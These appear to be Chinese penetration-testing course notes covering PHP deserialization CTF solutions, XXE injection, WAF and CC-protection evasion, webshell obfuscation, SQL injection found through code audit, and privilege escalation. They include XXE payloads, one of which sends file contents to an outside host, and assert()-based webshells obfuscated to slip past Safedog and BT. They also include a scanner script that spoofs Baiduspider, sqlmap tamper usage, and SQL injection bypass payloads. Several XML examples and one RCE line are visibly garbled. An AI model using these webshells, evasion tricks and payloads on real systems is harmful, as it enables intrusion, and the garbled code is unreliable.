unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考链接:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
1.先搞一把 PHP 反序列化热身题稳住-无类问题-本地
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数
';
}
function __destruct(){
echo '调用了析构函数
';
}
function __wakeup(){
echo '调用了苏醒函数
';
}}
echo '创建对象 a
';
$a = new ABC;
echo '序列化
';
$a_ser=serialize($a);
echo '反序列化
';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
靶场中测试
在线php转序列化和反序列化
我们在GET中输入序列化得到的内容,得到flag
2.在撸一把 CTF 反序列化小真题压压惊-无类执行-实例
题目链接
这题和小迪里面讲的不一样了,已经变题了。
在admin.css有这样一个提示
我在后面加一个一下,得到了php源码,反序列化的
我们只需要添加上去的Cookie的值,等于$KEY,就可以得到flag,并且还有一个地方就是,GET传参那里,需要修改传入的参数,否则无法绕过ifelse。
3.最后顶一把网鼎杯 2020 青龙大真题舒服下-有类魔术方法触发-实例
首先 ctf 命名及代码函数 unserialize 判断反序列化知识点
第一:获取 flag 存储 flag.php
第二:两个魔术方法__destruct __construct
第三:传输 str 参数数据后触发 destruct,存在 is_valid 过滤
第四:__destruct 中会调用 process,其中 op=1 写入及 op=2 读取
第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出
涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过
使用该类对 flag 进行读取,这里面能利用的只有__destruct 函数(析构函数)。__destruct 函数对
$ this->op 进行了= = =判断并内容在 2 字符串时会赋值为 1,process 函数中使用==对$this->op 进行判
断(为 2 的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字 2 或字符串’ 2’绕过判断。
is_valid 函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出
现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后
成员也会被 public 覆盖修饰。
特别的直白,打开就是php代码
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
然后我们一段一段来读代码
首先有一个变量str,GET传参,进入了is_valid这个函数里,这个函数要求str输入的字符的ascll码的值必须在32~125之间,因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
__destruct()魔术方法
这里===是强比较,必须是类型和数值一样,这里我们给op=2,这样就可以绕过, ==是弱比较,可以返回正确结果
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
然后自己写脚本,本地进行序列化
class FileHandler{
public $op = 2;
public $filename = "flag.php";
public $content = "xd";
}
$str = new FileHandler;
var_dump(serialize($str));
O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;s:2:“xd”;}
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
XML和HTML的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
XML语法
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
DOCTYPE 根元素 SYSTEM ”文件名”>
#DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
php,java,python-过滤及禁用
方案一:禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案 2-过滤用户提交的 XML 数据
过滤关键词:
1.pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
打开靶场
玩法-读文件
在本地创建一个test.txt
DOCTYPE ANY [
]>
<x>&xxe;x>
执行上面的代码,文件读取成功
玩法-内网探针或攻击内网应用(触发漏洞地址)
DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<x>&rabbit;x>
玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
DOCTYPE ANY [
]>
<x>&xxe;x>
引入外部实体 dtd
DOCTYPE test [
%file;
]>
<x>&send;x>
evil2.dtd:
无回显-读取文件
DOCTYPE test [
%dtd;
%send;
]>
test.dtd:
% send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
协议-读文件(绕过)
参考链接:https://www.cnblogs.com/20175211lyz/p/11413335.html
DOCTYPE ANY [ ]>
<x>&f;x>
2.CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
题目链接:http://web.jarvisoj.com:9882/
输入抓包看一下
更改请求数据格式:application/xml
并且执行xml代码
DOCTYPE ANY [
]>
<x>&f;x>
返回数据包
3.xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
打开靶场
1.提交的数据包含 XML 格式如:
<forgot><username>adminusername>forgot>
2.请求头中如:
Content-Type:text/xml 或 Content-type:application/xml
DOCTYPE Mikasa [
]>
<user><username>&test;username><password>Mikasapassword>user>
4.xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
角色扮演:操作系统权限的获取会造成服务器上安全问题
漏扫工具:Goby,Nmap,Nessus,Openvas,Nexpose等
漏洞类型:权限提升,缓冲器溢出,远程代码执行,未知bug等
漏洞利用:工具框架集成类,漏洞公布平台库类,复现文章参考等
漏洞修复:打上漏洞补丁,关闭对应入门点,加入防护软件硬件等
CVSS,CVE,EXP,POC等
—>exp: 利用
—>poc:验证
1.漏洞扫描工具演示-Goby,Nmap,Nessus(操作)
Goby 忍者系统测试
Nmap --script=vuln 默认 nse 插件
Nmap vulscan vulners 调用第三方库探针
参考链接
Nessus 安装-使用-插件库加载扫描
安装 nessus 执行命令的时候一定要管理员运行执行
2.漏洞类型区分讲解-权限提升,远程执行等(思路)
3.漏洞利用框架演示-Metasploit,Searchsploit 等(操作)
Searchsploit
msfconsole
-c, --case[Term]执行区分大小写的搜索,缺省是对大小写不敏感。
-e, --exact [Term]对 exploit 标题执行 EXACT 匹配(默认为 AND)
-h, --help 在屏幕上显示帮助
-j, --json[Term]以 JSON 格式显示结果
-m, --mirror [EDB-ID]将一个漏洞利用镜像(副本)到当前工作目录,后面跟漏洞 ID 号
-o, --overflow [Term]Exploit 标题被允许溢出其列
-p, --path[EDB-ID]显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞 ID 号
-t, --title[Term]仅仅搜索漏洞标题(默认是标题和文件的路径)
-u, --update 检查并安装任何 exploitdb 软件包更新(deb 或 git)
-w, --www [Term]显示 Exploit-DB.com 的 URL 而不是本地路径(在线搜索)
-x, --examine[EDB-ID]使用$ PAGER 检查(副本)漏洞利用
–colour 在搜索结果中禁用颜色突出显示.
–id 显示 EDB-ID 值而不是本地路径
–nmap[file.xml]使用服务版本检查 Nmap XML 输出中的所有结果(例如:nmap -sV -oX file.xml)。
使用“-v”(详细)来尝试更多的组合
–exclude="term"从结果中删除值。通过使用“|”分隔多个值,例如–exclude
=“term1 | term2 | term3”
4.漏洞利用-单点EXP
1377day
国家信息安全漏洞共享平台
知道创宇Seebug漏洞平台
https://www.exploit-db.com
已知 CMS
如常见的 dedecms.discuz,wordpress 等源码结构,这种一般采用非框架类开发,但也有少部分采用的是框架类开发,针对此类源码程序的安全检测,我们要利用公开的漏洞进行测试,如不存在可采用白盒代码审计自行挖掘。
开发框架
如常见的 thinkphp,spring,flask 等开发的源码程序,这种源码程序正常的安全测试思路:先获取对应的开发框架信息(名字,版本),通过公开的框架类安全问题进行测试,如不存在可采用白盒代码审计自行挖掘。
未知 CMS
如常见的企业或个人内部程序源码,也可以是某 CMS 二次开发的源码结构,针对此类的源码程序测试思路:能识别二次开发就按已知 CMS 思路进行,不能确定二次开发的话可以采用常规综合类扫描工具或脚本进行探针,也可以采用人工探针(功能点,参数,盲猜),同样在有源码的情况下也可以进行代码审计自行挖掘。
1.开发框架类源码渗透测试报告-资讯-thinkphp,spring
thinkphp报错
用一些工具,可以帮忙查询一些框架的漏洞
这里还有spring的框架漏洞,自己可以复现学习一下,我就不搞了
2.已知 CMS 非框架类渗透测试报告-工具脚本-wordpress
打开墨者靶场
再安装wpscan,扫描出漏洞
3.已知 CMS 非框架类渗透测试报告-代码审计-qqyewu_php
审计一个小众的CMS
可以采用工具Seay源代码审计系统
4.未知 CMS 非框架类渗透测试报告-人工-你我都爱的 wg 哦~
最后是采用实例的,不过关键部分的视频被剪辑掉了,所以懂得都懂,我也就不复现了。
反编译提取 URL 或抓包获取 URL,进行 WEB 应用测试,如不存在或走其他协议的情况下,需采用网
络接口抓包进行数据获取,转至其他协议安全测试!
APP->WEB APP->其他 APP->逆向
WEB 抓包,其他协议抓包演示及说明
未逆向层面进行抓包区分各协议测试
逆向层面进行提取 APK 代码层面数据
1.抓包工具 WEB 协议面使用说明
在APP中设置代理,并且去抓包,因为之前的笔记写过如何在APP设置代理,我这里就不再写了。
这里用Burp suite抓的包
点击的页面越多,产生的数据包越多
可以根据APP找到的地址,在电脑上访问页面
这里用的Charles抓包
网站打不开,这个APP涉及到的网站有检测唯一性,只能在APPA或者手机客户端访问,所以有些网址打不开,检测你用的什么客户端访问。
上面是电脑端的数据包,下面是手机客户端的数据包,有明显的不一样。
修改数据包访问,如何做到漏洞扫描?
利用扫描工具,设置里面,修改扫描的http头部
这里用的抓包精灵抓的包,只能抓web协议
2.抓包工具非 WEB 协议面使用说明
用wireshark抓包,是在网络接口处抓包,基本上都能抓到,需要自己筛选。
3.安卓逆向便捷 APK 一键提取 URL 演示
用漏了个大洞这个工具,反编译APP,获取URL
找到urls.txt,里面有我们获得URL路径
4.利用 Burp 筛选及联动功能打出军体拳
用BurpSuite和xray联动监听数据
BurpSuite先抓到数据包,xray在接收到数据包,然后进行漏洞扫描。
5.模拟器四个违法案例 APP 安全分析测试
因为我做笔记的时间有点晚了,所以很多的APP网站都跑路了,没得办法,我自己也没办法去测试了。
端口服务类安全测试
根据前期信息收集针对目标端口服务类探针后进行的安全测试,主要涉及攻击方法:口令安全,WEB类漏洞,版本漏洞等,其中产生的危害可大可小。属于端口服务/第三方服务类安全测试面。一般在已知应用无思路的情况下选用的安全测试方案。
API 接口-WebServiceRESTful API
根据应用自身的功能方向决定,安全测试目标需有 API 接口调用才能进行此类测试,主要涉及的安全问题:自身安全,配合 WEB,业务逻辑等,其中产生的危害可大可小,属于应用 API 接口网络服务测试面,一般也是在存在接口调用的情况下的测试方案。
WSDL
WSDL(网络服务描述语言,Web Services Description Language)是一门基于 XML 的语言,用于描述Web Services 以及如何对它们进行访问
学习链接
漏洞关键字:
配合 shodan,fofa,zoomeye 搜索也不错哦~
inurl:jws?wsdl
inurl:asmx?wsdl
inurl:aspx?wsdl
inurl:ascx?wsdl
inurl:ashx?wsdl
inurl:dll?wsdl
inurl:exe?wsdl
inurl:php?wsdl
inurl:pl?wsdl
inurl:?wsdl
filetype:wsdl wsdl
测试案例
http://testaspnet.vulnweb.com/acuservice/service.asmx?WSDL
1.端口服务类-Tomcat弱口令安全问题
利用报过漏洞的端口,来实现漏洞复现
2.端口服务类-Glassflsh任意文件读取
利用Goby扫描
去网上看一下有什么漏洞可以利用
3.其他补充类-基于端口WEB站点又测试
网站后面加端口是一个网站
不加端口是另一个程序
相当于我们有两个测试目标
4.其他补充类-基于域名WEB站点又测试
我们可以从三个方面来获取域名WEB的信息
1.注册人
2.域名登记
3.特有信息
从域名后缀,域名特有商,网站的标识去查询收集信息
5.其他补充类-基于IP配合端口信息再收集
目录扫描的时候是多方位,可以加上端口一起扫描
实例:
6.口令安全脚本工具简要使用-Snetcracker
只支持一些不用浏览器的协议
https://github.com/shack2/SNETCracker/releases/
7.ARI接口类-网络服务类利用测试-AWVS
防护配置:阿里云(免费)+ Safedog + 宝塔(付费插件)
绕过方案:代理池或延时
采用进程抓包工具webpathbrute数据包分析
1.直接误报或无结果
2.扫描一段时间后突然误报
扫描探针机制:
数据包拦截
速度过快拦截
先本地测试安全狗-默认拦截-数据包问题(未开CC)
先本地测试安全狗-绕过拦截-更改提交方式或模拟用户
先本地测试安全狗-默认拦截-数据包问题(开CC)
先本地测试安全狗-绕过拦截-延时或大代理池或爬虫引擎
用多个IP,实现waf绕过,但是waf也可以识别出代理访问。
1.Safedog-默认拦截机制分析绕过-未开 CC
工具扫描,发现扫描字典里有多少它就返回多少,这实际上就是一种误报
原因是浏览器收到的数据包,和工具抓到的数据包不一样。我们从划线的地方可以看到,文件头不一样
我们使用工具修改一下文件头,下面的很多文件就都可以扫描到
未开CC的情况下,模拟用户的真实请求数据包,模拟用户真实请求浏览器的方式
2.Safedog-默认拦截机制分析绕过-开启 CC
我们开启流量防护
看一下CC攻击防护的规则
开启CC之后,使用工具又会有误报
因为我们请求过于频繁,被安全狗拦截
我们可以用延时扫描
因为这些防护软件自己会设置一些爬虫白名单,如果不设置的话,会干扰一些网站或者业务的执行。确保网站能被正常的收入,影响网站的流量。
这里可以模仿搜索引擎头(User-Agent),来实现绕过CC防护,但是我们测试发现还是没有用,还是需要我们模拟真实用户
搜索引擎爬虫模拟及模拟真实用户
import requests
import time
headers={
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
#模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
#模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
#更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html
'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider-render/2.0;
+http://www.baidu.com/search/spider.html)',
'Sec-Fetch-Dest': 'document',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/si
gned-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'xxx',#根据当前访问 cookie
}
for paths in open('php_b.txt',encoding='utf-8'):
url='http://192.168.0.103:8081/'
paths=paths.replace('\n','')
urls=url+paths
#如需测试加代理,或加入代理池需加代理
proxy = {
'http': '127.0.0.1:7777'
}
try:
code=requests.get(urls,headers=headers,verify=False).status_code
print(urls+'|'+str(code))
if code==200 or code==403:
print(urls+'|'+str(code))
except Exception as err:
print('connecting error')
#time.sleep(3)模拟用户需延时 引擎可用可不用(根据请求速度)
3.Aliyun_os-默认拦截机制分析绕过-简要界面
阿里云-无法模拟搜索引擎爬虫绕过,只能采用代理池或延时
阿里云服务器自带防护机制,发现被攻击了,直接封IP。差不多大概一个小时。
4.BT(防火墙插件)-默认拦截机制分析绕过-简要界面
宝塔-爬虫未知,延迟或代理池可以
拦截了攻击者想要搜寻得备份文件,所以还需要换字典,来绕过这些。
1.扫描速度-(代理池,延迟,白名单等)
2.工具指纹-(特征修改,伪造模拟真实用户等)
3.漏洞 Payload-(数据变异,数据加密,白名单等)
1.代理池 Proxy_pool 项目搭建及使用解释
安装链接:https://github.com/jhao104/proxy_pool
2.充钱代理池直接干 safedog+BT+Aliyun 探针
花钱买一个代理
可以很好的绕过阿里云
3.Safedog-awvs 漏扫注入测试绕过-延时,白名单
用AWVS扫描漏洞
有WAF的时候,记得要把扫描速度调到最低,来绕过waf
也可以修改搜索引擎的头,改成爬虫的头,直接开扫。
4.Aliyun_os-awvs 漏扫注入测试绕过-延时白名单
5.BT(baota)-awvs+xray 漏扫 Payload 绕过-延时被动
宝塔会禁用很多工具,根据文件头来判断,AWVS也可能会被
每个工具判定注入的验证方式都不一样,工具被拦截,测试漏洞的语句触发了waf,这里有漏洞也不会报错,因为被waf拦截了。我们需要用多种工具,我们可以用其他工具。
6.充钱代理池直接干 Safedog+BT+AliyunOS 漏洞发现
菜刀,蚁剑,冰蝎优缺点
菜刀:未更新状态,无插件,单向加密传输
蚁剑:更新状态,有插件,拓展性强,单向加密传输
冰蝎:更新状态,未知插件,双向加密传输
单向加密和双向加密的区别
1.单向加密
返回的信息是不加密的,直接可以看的到,但是发送的数据包是加密的
2.双向加密
发送的数据和接收的数据都是被加密的
双向加密的好处
攻击代码,返回信息都加密,waf判断行为进程可疑的时候,结果被加密了waf就不一定识别了。
编码解码(变量覆盖,加密混淆,异或生成)
1.Safedog-手写覆盖变异简易代码绕过-代码层
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
//?x=b&y=assert
//$a=b $$a=assert=$b assert($_POST['z']);
//assert($_POST['chopper']);
?>
成功绕过安全狗
2.Safedog-基于接口类加密混淆代码绕过-代码层
代码加密脚本链接:
https://github.com/djunny/enphp
运行过后
就实现了代码的加密
这里还有一个在线网站,可以在接口处加密
https://www.phpjiami.com/phpjiami.html
加密过后的代码
成功绕过安全狗
额外补充的一个免杀脚本,这里
3.BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层
成功绕过安全狗
但是会被宝塔拦截,有关键字过滤
传入的代码进行加密后,就可以绕过宝塔
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']);
?>
4.Safedog-基于工具功能数据包指纹修改变异绕过-行为层
5.Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层
6.Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层
如需 sqlmap 注入,修改 us 头及加入代理防 CC 拦截自写 tamper 模块,模拟一个正常用户
安全狗:参考之前 payload
Aliyun:基本修改指纹即可
宝塔:匹配关键字外加/*等
sqlmap --proxy=“http://127.0.0.1:8080” --tamper=“waf.py” --random-agent
1.php 截断 参考前面上传 waf 绕过 payload
利用 XSStrike 绕过 加上–timeout 或–proxy 绕过 cc
RCE:
加密加码绕过?算法可逆?关键字绕过?提交方法?各种测试!
txt= y = s t r r e p l a c e ( ′ x ′ , ′ ′ , ′ p x h p x i n x f o ( ) ′ ) ; a s s e r t ( y=str_replace('x','','pxhpxinxfo()');assert( y=strreplace(′x′,′′,′pxhpxinxfo()′);assert(y);&submit=%E6%8F%90%E4%BA%A4
文件包含:没什么好说的就这几种
…\ …/ …\等
审计项目漏洞 Demo->审计思路->完整源码框架->验证并利用漏洞
PHP,JAVA 网站应用,引入框架类开发源码,相关审计工具及插件使用
环境安装搭建使用,相关工具插件安装使用,掌握前期各种漏洞原理及利用
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等
可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞
1. 简易 SQL 注入代码段分析挖掘思路
2.QQ 业务图标点亮系统挖掘-数据库监控追踪
查找关键字,关键字被封装了
查询的时候点击正则和区分大小写,可以找到更多的关键字。看有没有变量,有的语句是被写死的。
尝试注入的时候发现是有过滤的
$sohuquan=array($_SERVER['HTTP_HOST'],"www".$_SERVER['HTTP_HOST']);
$url= @$_SERVER["HTTP_REFERER"]; //获取完整的来路URL
$str= str_replace("http://","",$url); //去掉http://
$strdomain = explode("/",$str); // 以“/”分开成数组
$domain = $strdomain[0]; //取第一个“/”以前的字符
if(!in_array($domain , $sohuquan)){
EXIT("从哪里来,滚回哪里去!");
}
if($_GET['api']=="ok"){
if($_GET['u']=="" || $_GET['p']=="" || $_GET['id']==""){
EXIT("请输入完整");
}
伪造数据,满足条件
语句执行 ,购买失败
查询数据库有5列,select 1,2,3,4,5
没有回显信息,尝试延时注入(确实有延迟)
3.74CMS 人才招聘系统挖掘-2 次注入应用功能(自带转义)
自带转义函数—addslashes_deep,功能相当于php魔术引号函数
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
}
return $value;
}
}
可以用二次注入来绕过这个函数
进入填写简历页面(能够把信息存进数据库的页面),填写简历,提交
打开审计插件——mysql监控
更新,刚才提交的语句,进行的数据库操作
根据填写简历界面url,打开看文件,搜索make2
http://127.0.0.1/74/user/personal/personal_resume.php?act=make2&pid=1
和网站页面对应上了
第二部求职意向
Mysql监控持续更新
填写的选项被数字代替了(我们无法改变),继续向下更新
更新,发现此时我们填写的数据,在查询语句中。但是还是不符合二次注入条件
只更新,没有插入!
我们必须要找到
2022/4/20 10:53 INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES ('1', '1', '2021\xC4\xEA2\xD4\xC2', '2014\xC4\xEA3\xD4\xC2', 'csw', 'csw', '68', '\xD6\xD0ר')
2022/4/20 10:53 UPDATE qs_resume SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='csw \xBD\xF0\xC1\xEA\xBFƼ\xBCѧԺ \xCF\xEEĿ\xBE\xAD\xC0\xED/\xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE\xCF\xEEĿ\xBE\xAD\xC0\xED/\xD6\xF7\xB9\xDC \xCF\xEEĿִ\xD0\xD0/Э\xB5\xF7\xC8\xCBԱ csw00 \xCF\xEEĿ00 \xCF\xEEĿ\xBE\xAD\xC0\xED \xBE\xAD\xC0\xED00 \xB2\xFAƷ00 \xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE00 \xD6\xF7\xB9\xDC00 \xCF\xEEĿִ\xD0\xD0 ִ\xD0\xD000 Э\xB5\xF700 Э\xB5\xF7\xC8\xCB0 \xB5\xF7\xC8\xCB00 \xC8\xCBԱ00 \xD6м\xBC00 \xC0\xAC\xBB\xF8 csw', `refreshtime`='1650423191' WHERE uid='1' AND id='1'
2022/4/20 10:53 UPDATE qs_resume_tmp SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='csw \xBD\xF0\xC1\xEA\xBFƼ\xBCѧԺ \xCF\xEEĿ\xBE\xAD\xC0\xED/\xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE\xCF\xEEĿ\xBE\xAD\xC0\xED/\xD6\xF7\xB9\xDC \xCF\xEEĿִ\xD0\xD0/Э\xB5\xF7\xC8\xCBԱ csw00 \xCF\xEEĿ00 \xCF\xEEĿ\xBE\xAD\xC0\xED \xBE\xAD\xC0\xED00 \xB2\xFAƷ00 \xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE00 \xD6\xF7\xB9\xDC00 \xCF\xEEĿִ\xD0\xD0 ִ\xD0\xD000 Э\xB5\xF700 Э\xB5\xF7\xC8\xCB0 \xB5\xF7\xC8\xCB00 \xC8\xCBԱ00 \xD6м\xBC00 \xC0\xAC\xBB\xF8 csw', `refreshtime`='1650423191' WHERE uid='1' AND id='1'
然后开始绕过,继续添加信息,保存
payload
aa',`fullname`=user()#
插入语句中 aa’ 是被转意了
2022/4/20 10:57 INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES ('1', '1', '2020\xC4\xEA8\xD4\xC2', '2026\xC4\xEA2\xD4\xC2', 'aa\',`fullname`=user()#', 'aa\',`fullname`=user(', '67', '\xD6м\xBC')
更新语句没有被转意
2022/4/20 10:57 UPDATE qs_resume_tmp SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='aa',`fullname`=user()# csw \xBD\xF0\xC1\xEA\xBFƼ\xBCѧԺ \xCF\xEEĿ\xBE\xAD\xC0\xED/\xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE\xCF\xEEĿ\xBE\xAD\xC0\xED/\xD6\xF7\xB9\xDC \xCF\xEEĿִ\xD0\xD0/Э\xB5\xF7\xC8\xCBԱ csw00 \xCF\xEEĿ00 \xCF\xEEĿ\xBE\xAD\xC0\xED \xBE\xAD\xC0\xED00 \xB2\xFAƷ00 \xB2\xFAƷ\xBE\xAD\xC0\xED \xC8\xED\xBC\xFE00 \xD6\xF7\xB9\xDC00 \xCF\xEEĿִ\xD0\xD0 ִ\xD0\xD000 Э\xB5\xF700 Э\xB5\xF7\xC8\xCB0 \xB5\xF7\xC8\xCB00 \xC8\xCBԱ00 \xD6м\xBC00 \xC0\xAC\xBB\xF8 csw aa',`fullname`=user(', `refreshtime`='1650423465' WHERE uid='1' AND id='1'
返回查看简历
4.苹果 CMS 影视建站系统挖掘-数据库监控追踪(自带过滤)
MySQL-Monitor 安装及使用
把这几个文件放在网站www路径下
然后访问127.0.0.1/mysql_monitor_client.html
搜索xiaodi
网页url
http://127.0.0.1/Maccms8/maccms8/index.php?m=vod-search
根据url查看代码文件
参数m以get方式传参,strpos()函数查找字符串在另一字符串中第一次出现的位置。
inc/module/vod.php
转义
be函数先进行魔术引号过滤,再根据传参方式的不同选择过滤
过滤关键字
发现我下载的cms和视频演示的版本不同,其中没有chksql方法,
视频中的大概意思是
\ —url编码—> %5c
%5c -----url编码------> %25%35%43
双重编码
\ —url编码—> %5c -----url编码------> %25%35%43
利用双重编码绕过
%25%35%43 -------> %5c ---get方式会识别url编码-----> \
aa’ 正常是会被转义(魔术引号)成 aa\'
魔术引号功能:所有的'(单引号),"(双引号), (反斜线)和NULL 字符都会被自动加上一个\(反斜线)
aa%25%35%43’ -----> aa\\'
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
1.某挂壁程序后台权限提升-后台功能
CT的外挂网站,我自己先上去测试了一下,小迪上课讲的后台已经打不开了,网站的更新也停在了2020年,正好是小迪上课的那一年,我估计是讲完课被疯狂攻击了,所以我这边自己做测试的时候并没有成功。这里我就只能截小迪的图了。也有人说是开了宝塔
打开网站看一下
登陆网站后门,这个网站用的是站帮主cms
在后台找一个可以上传的地方
2.某 BC 广告导航页权限提升-漏洞层面
中间件有问题
抓包看一下数据包,看到这个可以发现是在phpstudy上搭建的
搜索phpstudy漏洞,就可以利用网上有的来实现测试
成功实现漏洞复现
3.苏丹大西瓜 GlassFish 中间件-第三方
小迪用fofa查的这个网址,可惜fofa不能用了现在,但是实验的网址还是能打开的
在网上搜一下GlassFish的漏洞,注意区分windows和linux
然后自己这边复现了一下,拿到了用户名和密码
明确权限提升基础知识:权限划分
明确权限提升环境问题:WEB 及本地
明确权限提升方法针对:针对方法适应问题
明确权限提升针对版本:个人及服务器版本;针对方法;
用户及用户组权限划分;Windows 提权命令
1.基于本地环境下的权限提升-系统溢出漏洞
案例 1:如何判断使用哪种溢出漏洞?漏洞那里找?
信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手
Vulmap,Wes,WindowsVulnScan 对比,exp 在那里获取?
vulmap
vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。
需要启动powershell才能利用,所以并不适合windows
Windows-exp-suggester
